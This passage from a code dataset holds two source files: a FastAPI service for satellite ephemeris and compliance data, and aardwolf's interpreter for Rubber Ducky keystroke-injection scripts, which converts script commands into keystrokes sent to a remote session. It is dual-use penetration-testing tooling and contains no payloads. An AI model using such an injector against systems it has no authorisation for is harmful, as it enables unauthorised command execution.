redirect_to_project() -> str:\n    \"\"\"Redirects the root path to the project website\"\"\"\n    return 'https://ibm.github.io/arcade'\n\n\n@app.get('/user_reports',\n         response_model=List[models.UserReport],\n         include_in_schema=False)\nasync def get_user_reports(user: models.User = Depends(current_super_user)\n                           ) -> List[models.UserReport]:\n    \"\"\"Returns summary statistics for all users\"\"\"\n    report_query = \"\"\"MATCH (u:User)-[r:accessed]->()\n                      RETURN u.email AS email, count(r) AS access_count\"\"\"\n    raw_report, _ = neomodel.db.cypher_query(report_query)\n    report_rows = [models.UserReport(email=row[0], access_count=row[1])\n                   for row in raw_report]\n    return report_rows\n\n\n@app.get('/asos',\n         response_model=List[models.ASO],\n         tags=['ARCADE Endpoints'])\nasync def get_asos(user: models.User = Depends(current_active_user)\n                   ) -> List[models.ASO]:\n    \"\"\"Returns information on all the anthropogenic space objects (ASOs) that\n    ARCADE knows about.\n    \"\"\"\n    aso_nodes = graph.SpaceObject.nodes.all()\n    asos = [models.ASO.from_orm(n) for n in aso_nodes]\n    return asos\n\n\n@app.get('/asos/{aso_id}',\n         response_model=models.ASO,\n         tags=['ARCADE Endpoints'])\nasync def get_aso(aso_id: str,\n                  user: models.User = Depends(current_active_user)\n                  ) -> Optional[models.ASO]:\n    \"\"\"Returns information about the ASO matching the passed ASO ID.\"\"\"\n    aso_node = graph.SpaceObject.find_one(aso_id=aso_id)\n    if not aso_node:\n        return None\n    aso = models.ASO.from_orm(aso_node)\n    return aso\n\n\n@app.get('/ephemeris/{aso_id}',\n         response_model=List[models.OrbitEphemerisMessage],\n         tags=['ARCADE Endpoints'])\nasync def get_ephemeris(aso_id: str,\n                        user: models.User = Depends(current_active_user)\n                        ) -> List[models.OrbitEphemerisMessage]:\n    \"\"\"Provides the most up-to-date ephemeris data for the given ASO\"\"\"\n    oem_nodes = graph.SpaceObject.get_latest_oems(aso_id)\n    if not oem_nodes:\n        return []\n    user_node = graph.User.find_one(uid=str(user.id))\n    if not user_node:\n        return []\n\n    oems = []\n    for oem_node in oem_nodes:\n        if not user_node.can_access(oem_node):\n            continue\n        oem = models.OrbitEphemerisMessage.from_orm(oem_node)\n        user_node.accessed.connect(oem_node, {'endpoint': '/ephemeris'})\n        oems.append(oem)\n\n    return oems\n\n\n@app.get('/interpolate/{aso_id}',\n         response_model=List[models.OrbitEphemerisMessage],\n         tags=['ARCADE Endpoints'])\nasync def get_interpolation(aso_id: str,\n                            step_size: float = 60.0,\n                            user: models.User = Depends(current_active_user)\n                            ) -> List[models.OrbitEphemerisMessage]:\n    \"\"\"Interpolates the ephemeris data for given ASP based on the step\n    size (seconds).\"\"\"\n    oem_nodes = graph.SpaceObject.get_latest_oems(aso_id)\n    if not oem_nodes:\n        return []\n    user_node = graph.User.find_one(uid=str(user.id))\n    if not user_node:\n        return []\n\n    interp_oems = []\n    for oem_node in oem_nodes:\n        if not user_node.can_access(oem_node):\n            continue\n        oem = models.OrbitEphemerisMessage.from_orm(oem_node)\n        interp_oem = oem.interpolate(step_size=step_size)\n        user_node.accessed.connect(oem_node, {'endpoint': '/interpolate'})\n        interp_oems.append(interp_oem)\n\n    return interp_oems\n\n\n@app.get('/compliance/{aso_id}',\n         response_model=models.UNCompliance,\n         tags=['ARCADE Endpoints'])\nasync def get_compliance(aso_id: str,\n                         user: models.User = Depends(current_active_user)\n                         ) -> Optional[models.UNCompliance]:\n    \"\"\"Returns whether the ASO is compliant in registering with the United\n    Nations.\"\"\"\n    aso_node = graph.SpaceObject.find_one(aso_id=aso_id)\n    if not aso_node:\n        return None\n    compliance_nodes = aso_node.compliance.all()\n    if compliance_nodes:\n        compliance_node = compliance_nodes[0]\n    else:\n        return None\n    user_node = graph.User.find_one(uid=str(user.id))\n    if not user_node or not user_node.can_access(compliance_node):\n        return None\n    compliance = models.UNCompliance(aso_id=aso_id,\n                                     is_compliant=compliance_node.is_compliant)\n    user_node.accessed.connect(compliance_node, {'endpoint': '/compliance'})\n    return compliance\n", "repo_name": "IBM/arcade", "sub_path": "arcade/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 6722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "pydantic.BaseSettings", "line_number": 18, "usage_type": "name"}, {"api_name": "neomodel.config", "line_number": 26, "usage_type": "attribute"}, {"api_name": "arcade.models.graph.FastAPIUserDBAdapter", "line_number": 29, "usage_type": "call"}, {"api_name": "arcade.models.graph", "line_number": 29, "usage_type": "name"}, {"api_name": "arcade.models.api.UserDB", "line_number": 29, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 29, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 35, "usage_type": "call"}, {"api_name": "fastapi_users.authentication.JWTAuthentication", "line_number": 38, "usage_type": "call"}, {"api_name": "fastapi_users.FastAPIUsers", "line_number": 45, "usage_type": "call"}, {"api_name": "arcade.models.api.User", "line_number": 48, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 48, "usage_type": "name"}, {"api_name": "arcade.models.api.UserCreate", "line_number": 49, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 49, "usage_type": "name"}, {"api_name": "arcade.models.api.UserUpdate", "line_number": 50, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 50, "usage_type": "name"}, {"api_name": "arcade.models.api.UserDB", "line_number": 51, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 51, "usage_type": "name"}, {"api_name": "fastapi_users.get_auth_router", "line_number": 56, "usage_type": "call"}, {"api_name": "fastapi_users.get_register_router", "line_number": 63, "usage_type": "call"}, {"api_name": "fastapi_users.current_user", "line_number": 70, "usage_type": "call"}, {"api_name": "fastapi_users.current_user", "line_number": 71, "usage_type": "call"}, {"api_name": "fastapi.responses.RedirectResponse", "line_number": 75, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 85, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 85, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 85, "usage_type": "call"}, {"api_name": "neomodel.db.cypher_query", "line_number": 90, "usage_type": "call"}, {"api_name": "neomodel.db", "line_number": 90, "usage_type": "attribute"}, {"api_name": "arcade.models.api.UserReport", "line_number": 91, "usage_type": "call"}, {"api_name": "arcade.models.api", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 83, "usage_type": "name"}, {"api_name": "arcade.models.api.UserReport", "line_number": 83, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 86, "usage_type": "name"}, {"api_name": "arcade.models.api.UserReport", "line_number": 86, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 86, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 99, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 99, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 99, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject.nodes.all", "line_number": 104, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject", "line_number": 104, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 104, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO.from_orm", "line_number": 105, "usage_type": "call"}, {"api_name": "arcade.models.api.ASO", "line_number": 105, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 97, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO", "line_number": 97, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 97, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 100, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO", "line_number": 100, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 100, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 113, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 113, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 113, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject.find_one", "line_number": 116, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject", "line_number": 116, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 116, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO.from_orm", "line_number": 119, "usage_type": "call"}, {"api_name": "arcade.models.api.ASO", "line_number": 119, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 119, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO", "line_number": 110, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 110, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 114, "usage_type": "name"}, {"api_name": "arcade.models.api.ASO", "line_number": 114, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 114, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 127, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 127, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 127, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject.get_latest_oems", "line_number": 130, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject", "line_number": 130, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 130, "usage_type": "name"}, {"api_name": "arcade.models.graph.User.find_one", "line_number": 133, "usage_type": "call"}, {"api_name": "arcade.models.graph.User", "line_number": 133, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 133, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage.from_orm", "line_number": 141, "usage_type": "call"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 141, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 141, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 124, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 124, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 124, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 128, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 128, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 128, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 153, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 153, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 153, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject.get_latest_oems", "line_number": 157, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject", "line_number": 157, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 157, "usage_type": "name"}, {"api_name": "arcade.models.graph.User.find_one", "line_number": 160, "usage_type": "call"}, {"api_name": "arcade.models.graph.User", "line_number": 160, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 160, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage.from_orm", "line_number": 168, "usage_type": "call"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 168, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 168, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 149, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 149, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 149, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 154, "usage_type": "name"}, {"api_name": "arcade.models.api.OrbitEphemerisMessage", "line_number": 154, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 154, "usage_type": "name"}, {"api_name": "arcade.models.api.User", "line_number": 180, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 180, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 180, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject.find_one", "line_number": 184, "usage_type": "call"}, {"api_name": "arcade.models.graph.SpaceObject", "line_number": 184, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 184, "usage_type": "name"}, {"api_name": "arcade.models.graph.User.find_one", "line_number": 192, "usage_type": "call"}, {"api_name": "arcade.models.graph.User", "line_number": 192, "usage_type": "attribute"}, {"api_name": "arcade.models.graph", "line_number": 192, "usage_type": "name"}, {"api_name": "arcade.models.api.UNCompliance", "line_number": 195, "usage_type": "call"}, {"api_name": "arcade.models.api", "line_number": 195, "usage_type": "name"}, {"api_name": "arcade.models.api.UNCompliance", "line_number": 177, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 177, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 181, "usage_type": "name"}, {"api_name": "arcade.models.api.UNCompliance", "line_number": 181, "usage_type": "attribute"}, {"api_name": "arcade.models.api", "line_number": 181, "usage_type": "name"}]}
{"seq_id": "33592261966", "text": "\n\nimport asyncio\nimport traceback\nfrom typing import List\n\nfrom aardwolf import logger\nfrom aardwolf.keyboard.layoutmanager import KeyboardLayoutManager\nfrom aardwolf.keyboard import KeyboardLayout, VK_MODIFIERS\n\nclass DuckyExecutorBase:\n\tdef __init__(self, keyboard_layout:KeyboardLayout, key_sender, send_as_char = False):\n\t\tself.keyboard_layout = keyboard_layout\n\t\tself.key_sender = key_sender\n\t\tself.send_as_char = send_as_char\n\t\tself.default_delay = 100\n\t\tself.default_chardelay = 50/1000\n\t\tself.aliases = {\n\t\t\t'do_default_delay' : 'do_defaultdelay',\n\t\t\t'do_windows' : 'do_gui',\n\t\t\t'do_app' : 'do_menu',\n\t\t\t'do_ctrl' : 'do_control',\n\t\t\t'do_uparrow' : 'do_up',\n\t\t\t'do_leftarrow' : 'do_left',\n\t\t\t'do_rightarrow' : 'do_right',\n\t\t\t'do_break' : 'do_pause',\n\t\t\t'do_delete' : 'do_del',\n\t\t\t'do_escape' : 'do_esc',\n\t\t\t'do_downarrow' : 'do_down',\n\t\t\t'do_delete' : 'do_del',\n\t\t}\n\n\t\tself.cmd_to_vk = {\n\t\t\t'backspace' : 'VK_BACK',\n\t\t\t'tab' : 'VK_TAB',\n\t\t\t'space' : 'VK_SPACE',\n\t\t\t'scrollock' : 'VK_SCROLL',\n\t\t\t'printscreen' : 'VK_SNAPSHOT',\n\t\t\t'pagedown' : 'VK_NEXT',\n\t\t\t'pageup' : 'VK_PRIOR',\n\t\t\t'numlock' : 'VK_NUMLOCK',\n\t\t\t'insert' : 'VK_INSERT',\n\t\t\t'home' : 'VK_HOME',\n\t\t\t'esc' : 'VK_ESCAPE',\n\t\t\t'escape' : 'VK_ESCAPE',\n\t\t\t'end' : 'VK_END',\n\t\t\t'del' : 'VK_DELETE',\n\t\t\t'delete' : 'VK_DELETE',\n\t\t\t'capslock' : 'VK_CAPITAL',\n\t\t\t'pause' : 'VK_PAUSE',\n\t\t\t'break' : 'VK_PAUSE',\n\t\t\t'right' : 'VK_RIGHT',\n\t\t\t'rightarrow' : 'VK_RIGHT',\n\t\t\t'left' : 'VK_LEFT',\n\t\t\t'leftarrow' : 'VK_LEFT',\n\t\t\t'down' : 'VK_DOWN',\n\t\t\t'downarrow' : 'VK_DOWN',\n\t\t\t'up' : 'VK_UP',\n\t\t\t'uparrow' : 'VK_UP',\n\t\t\t'gui': 'VK_LWIN',\n\t\t\t'windows': 'VK_LWIN',\n\t\t\t'enter' : 'VK_RETURN',\n\t\t\t'shift' : 'VK_LSHIFT',\n\t\t\t'alt' : 'VK_LMENU',\n\t\t\t'f1' : 'VK_F1',\n\t\t\t'f2' : 'VK_F2',\n\t\t\t'f3' : 'VK_F3',\n\t\t\t'f4' : 'VK_F4',\n\t\t\t'f5' : 'VK_F5',\n\t\t\t'f6' : 'VK_F6',\n\t\t\t'f7' : 'VK_F7',\n\t\t\t'f8' : 'VK_F8',\n\t\t\t'f9' : 'VK_F9',\n\t\t\t'f10' : 'VK_F10',\n\t\t\t'f11' : 'VK_F11',\n\t\t\t'f12' : 'VK_F12',\n\n\t\t}\n\t\n\tdef get_function(self, cmdname):\n\t\tif cmdname.startswith('do_') is False:\n\t\t\tcmdname = 'do_' + cmdname\n\t\t\n\t\tif cmdname in self.aliases:\n\t\t\tcmdname = self.aliases[cmdname]\n\t\t\n\t\treturn getattr(self, cmdname)\n\n\tasync def do_enter(self):\n\t\tawait self.keydispatch('VK_RETURN')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_function(self, data):\n\t\tawait self.keydispatch('VK_F%s' % data[0])\n\t\n\tasync def do_rem(self, data:List[str]):\n\t\tdata = ' '.join(data)\n\t\tlogger.debug(data)\n\n\tasync def do_defaultdelay(self, delay:int):\n\t\tdelay = ' '.join(delay)\n\t\tself.default_delay = int(delay) / 1000 #protocol allows delay to be set in 10 miliseconds interval\n\t\n\tasync def do_defaultchardelay(self, delay:int):\n\t\tdelay = ' '.join(delay)\n\t\tself.default_chardelay = int(delay) / 1000\n\t\n\tasync def do_delay(self, delay:int):\n\t\tpass\n\t\tdelay = ' '.join(delay)\n\t\tdelay = int(delay) / 1000\n\t\tif delay > 1:\n\t\t\treturn\n\t\tawait asyncio.sleep(delay)\n\n\tasync def do_string(self, data:str):\n\t\tdata = ' '.join(data)\n\t\tif self.send_as_char is True:\n\t\t\tfor c in data:\n\t\t\t\tawait self.key_sender(c, True, True)\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\telse:\n\t\t\tfor c in data:\n\t\t\t\tawait self.keydispatch(c)\n\n\tasync def do_gui(self, data = []):\n\t\tif len(data) > 0:\n\t\t\tdata.insert(0, 'VK_LWIN')\n\t\t\tawait self.multi_key_press(data)\n\t\telse:\n\t\t\tawait self.keydispatch('VK_LWIN')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_menu(self):\n\t\tawait self.keydispatch('VK_RMENU')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_shift(self, data = []):\n\t\tprint('SHIFT + %s' % repr(data))\n\t\tif len(data) > 0:\n\t\t\tdata.insert(0, 'VK_LSHIFT')\n\t\t\tawait self.multi_key_press(data)\n\t\telse:\n\t\t\tawait self.keydispatch('VK_LSHIFT')\n\n\tasync def do_control(self, data = []):\n\t\tprint('CTRL + %s' % repr(data))\n\t\tif len(data) > 0:\n\t\t\tdata.insert(0, 'VK_LCONTROL')\n\t\t\tawait self.multi_key_press(data)\n\t\telse:\n\t\t\tawait self.keydispatch('VK_LCONTROL')\n\n\tasync def do_alt(self, data = []):\n\t\tprint('ALT + %s' % repr(data))\n\t\tif len(data) > 0:\n\t\t\tdata.insert(0, 'VK_LMENU')\n\t\t\tawait self.multi_key_press(data)\n\t\telse:\n\t\t\tawait self.keydispatch('VK_LMENU')\n\n\tasync def do_up(self):\n\t\tawait self.keydispatch('VK_UP')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_down(self):\n\t\tawait self.keydispatch('VK_DOWN')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_left(self):\n\t\tawait self.keydispatch('VK_LEFT')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_right(self):\n\t\tawait self.keydispatch('VK_RIGHT')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_pause(self):\n\t\tawait self.keydispatch('VK_PAUSE')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_capslock(self):\n\t\tawait self.keydispatch('VK_CAPITAL')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_del(self):\n\t\tawait self.keydispatch('VK_DELETE')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_end(self):\n\t\tawait self.keydispatch('VK_END')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_esc(self):\n\t\tawait self.keydispatch('VK_ESCAPE')\n\t\t#await asyncio.sleep(self.default_delay)\n\n\tasync def do_home(self):\n\t\tawait self.keydispatch('VK_HOME')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_insert(self):\n\t\tawait self.keydispatch('VK_INSERT')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_numlock(self):\n\t\tawait self.keydispatch('VK_NUMLOCK')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_pageup(self):\n\t\tawait self.keydispatch('VK_PRIOR')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_pagedown(self):\n\t\tawait self.keydispatch('VK_NEXT')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_printscreen(self):\n\t\tawait self.keydispatch('VK_SNAPSHOT')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_scrollock(self):\n\t\tawait self.keydispatch('VK_SCROLL')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_space(self):\n\t\tawait self.keydispatch('VK_SPACE')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_tab(self):\n\t\tawait self.keydispatch('VK_TAB')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def do_backspace(self):\n\t\tawait self.keydispatch('VK_BACK')\n\t\t#await asyncio.sleep(self.default_delay)\n\t\n\tasync def multi_key_press(self, keys):\n\t\tcodes = []\n\t\t#print(keys)\n\t\tfor x in keys:\n\t\t\t#print(x)\n\t\t\tif len(x) == 1:\n\t\t\t\tscancode, mo = self.keyboard_layout.char_to_scancode(x.lower())\n\t\t\t\tif mo != VK_MODIFIERS(0) and mo != VK_MODIFIERS.VK_CAPITAL|VK_MODIFIERS.VK_SHIFT:\n\t\t\t\t\tprint(mo)\n\t\t\t\t\traise Exception('This is not supported!!!!')\n\t\t\t\tcodes.append(scancode)\n\t\t\telse:\n\t\t\t\tif x.lower() in self.cmd_to_vk:\n\t\t\t\t\tcodes.append(self.keyboard_layout.vk_to_scancode(self.cmd_to_vk[x.lower()]))\n\t\t\t\telse:\n\t\t\t\t\tcodes.append(self.keyboard_layout.vk_to_scancode(x))\n\t\t\n\t\tfor code in codes:\n\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\tawait self.key_sender(code, True)\n\t\t\n\t\tfor code in codes[::-1]:\n\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\tawait self.key_sender(code, False)\n\t\n\tasync def keydispatch(self, key, modifiers = VK_MODIFIERS(0)):\n\t\tif key in '0123456789':\n\t\t\tkey = 'VK_%s' % key\n\t\tif len(key) == 1:\n\t\t\ttry:\n\t\t\t\tscancode, mo = self.keyboard_layout.char_to_scancode(key)\n\t\t\t\t#print('key     : %s' % key)\n\t\t\t\t#print('scancode: %s' % scancode)\n\t\t\t\t#print('mo      : %s' % mo)\n\n\t\t\texcept KeyError:\n\t\t\t\t# this is bad...\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\tawait self.key_sender(key, True, True)\n\t\t\t\treturn\n\n\t\t\tif mo == VK_MODIFIERS(0):\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\tawait self.key_sender(scancode, True)\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\tawait self.key_sender(scancode, False)\n\t\t\telse:\n\t\t\t\t#print('key: %s' % key)\n\t\t\t\t#print('sc : %s' % scancode)\n\t\t\t\t#print('mo : %s' % repr(mo))\n\t\t\t\t#input()\n\t\t\t\tmodcodes = []\n\t\t\t\tafs = [flag for flag in VK_MODIFIERS if flag in mo]\n\t\t\t\tfor af in afs:\n\t\t\t\t\tif af == VK_MODIFIERS.VK_CAPITAL:\n\t\t\t\t\t\taf = VK_MODIFIERS.VK_SHIFT\n\t\t\t\t\tmodname = af.name\n\t\t\t\t\tif modname in ['VK_SHIFT', 'VK_CONTROL', 'VK_MENU']:\n\t\t\t\t\t\tmodname = modname[:3] + 'L' + modname[3:]\n\t\t\t\t\tsc = self.keyboard_layout.vk_to_scancode(modname)\n\t\t\t\t\tmodcodes.append(sc)\n\t\t\t\tfor mod in modcodes:\n\t\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\t\tawait self.key_sender(mod, True)\n\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\tawait self.key_sender(scancode, True)\n\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\tawait self.key_sender(scancode, False)\n\t\t\t\tfor mod in modcodes[::-1]:\n\t\t\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\t\t\tawait self.key_sender(mod, False)\n\t\t\t\t\n\t\telse:\n\t\t\tscancode = self.keyboard_layout.vk_to_scancode(key)\n\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\tawait self.key_sender(scancode, True)\n\t\t\tawait asyncio.sleep(self.default_chardelay)\n\t\t\tawait self.key_sender(scancode, False)\n\t\n\nclass DuckyReaderBase:\n\tdef __init__(self, executor):\n\t\tself.executor = executor\n\n\tasync def execute_line(self, line):\n\t\ttry:\n\t\t\tline = line.strip()\n\t\t\tif line == '':\n\t\t\t\treturn\n\t\t\tif line.find(' ') == -1:\n\t\t\t\tkeyword = line.lower()\n\t\t\t\tdata = []\n\t\t\telse:\n\t\t\t\tkeyword, *data = line.split(' ')\n\t\t\t\tkeyword = keyword.lower()\n\t\t\t\n\t\t\tif keyword.startswith('#') is True:\n\t\t\t\treturn\n\t\t\t\n\t\t\tif keyword.startswith('rem'):\n\t\t\t\tif keyword[3:] != '':\n\t\t\t\t\tdata.insert(0, keyword[3:])\n\t\t\t\tkeyword = 'rem'\n\t\t\t\n\t\t\tif keyword.find('-') != -1:\n\t\t\t\tkeyword, *temp = keyword.split('-')\n\t\t\t\tkeyword = keyword.lower()\n\t\t\t\tdata = temp + data\n\t\t\t\n\t\t\tif keyword.startswith('f') is True and (len(keyword) == 2 or len(keyword) == 3):\n\t\t\t\tkeyid = int(keyword[1:])\n\t\t\t\tkeyword = 'function'\n\t\t\t\tdata.insert(0, str(keyid))\n\t\t\tfnct = self.executor.get_function(keyword)\n\t\t\tif len(data) > 0:\n\t\t\t\tawait fnct(data)\n\t\t\telse:\n\t\t\t\tawait fnct()\n\t\t\n\t\texcept Exception as e:\n\t\t\tprint('ERROR! Line: %s' % repr(line))\n\t\t\traise e\n\n\t@staticmethod\n\tdef from_file(filepath, executor):\n\t\treader = DuckyReaderFile(filepath, executor)\n\t\treturn reader\n\nclass DuckyReaderFile(DuckyReaderBase):\n\tdef __init__(self, filepath, executor):\n\t\tDuckyReaderBase.__init__(self, executor)\n\t\tself.filepath = filepath\n\t\tself.file = open(filepath, 'r')\n\n\tasync def parse(self):\n\t\tfor line in self.file:\n\t\t\tline = line.strip()\n\t\t\tif len(line) == 0:\n\t\t\t\tcontinue\n\t\t\tawait self.execute_line(line)\n\n\nasync def key_sender(scancode, is_pressed, as_char = False):\n\t#print(scancode)\n\t#print(is_pressed)\n\treturn\n\nasync def amain():\n\tlayout = KeyboardLayoutManager().get_layout_by_shortname('enus')\n\tfrom pathlib import Path\n\ttry:\n\t\tfor path in Path('/home/webdev/Desktop/usbrubberducky-payloads/payloads/').rglob('*'):\n\t\t\tprint('Now processing %s' % path)\n\t\t\tif path.is_dir():\n\t\t\t\tcontinue\n\t\t\tif path.name.endswith('.md') is True or path.name.endswith('.bat') is True:\n\t\t\t\tcontinue\n\t\t\texecutor = DuckyExecutorBase(layout, key_sender)\n\t\t\treader = DuckyReaderFile.from_file(path, executor)\n\t\t\tawait reader.parse()\n\texcept Exception as e:\n\t\ttraceback.print_exc()\n\n\ndef main():\n\tasyncio.run(amain())\n\nif __name__ == '__main__':\n\tmain()", "repo_name": "skelsec/aardwolf", "sub_path": "aardwolf/utils/ducky/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 10894, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 118, "dataset": "github-code", "pt": "70", "api": [{"api_name": "aardwolf.keyboard.KeyboardLayout", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 96, "usage_type": "name"}, {"api_name": "aardwolf.logger.debug", "line_number": 98, "usage_type": "call"}, {"api_name": "aardwolf.logger", "line_number": 98, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 114, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 121, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 245, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS.VK_CAPITAL", "line_number": 245, "usage_type": "attribute"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS.VK_SHIFT", "line_number": 245, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 256, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 260, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 263, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 275, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 279, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 280, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 282, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 290, "usage_type": "name"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS.VK_CAPITAL", "line_number": 292, 